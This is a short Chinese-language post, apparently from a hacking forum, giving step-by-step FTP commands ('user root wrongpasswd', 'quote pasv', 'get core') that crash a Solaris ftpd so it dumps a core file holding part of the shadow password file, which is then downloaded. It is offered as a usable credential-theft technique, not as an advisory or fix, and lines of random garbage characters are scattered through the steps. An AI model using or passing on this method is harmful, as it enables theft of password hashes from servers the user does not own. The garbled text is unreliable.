如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：

% t, p) {$ x" w2 o  p/ e: h1.通过 ftp 正常登录到目的主机上

2.输入如下命令序列：

& O# i7 [+ s, B& r1 P+ T7 O5 K* Bftp> user root wrongpasswd
5 g% L* ?4 c0 `0 X; I+ Z8 b, H. x
ftp> quote pasv

1 a+ C9 p: Y- {0 r* e: g3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。
* K( o# B% R& `/ n( V
7 S7 F- A6 P: l4.再次进入FTP >get core
* c2 s# i2 r! y) n- c5 \! g
补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了
! x4 S0 H% m1 a7 o- z4 o, A3 {" a" e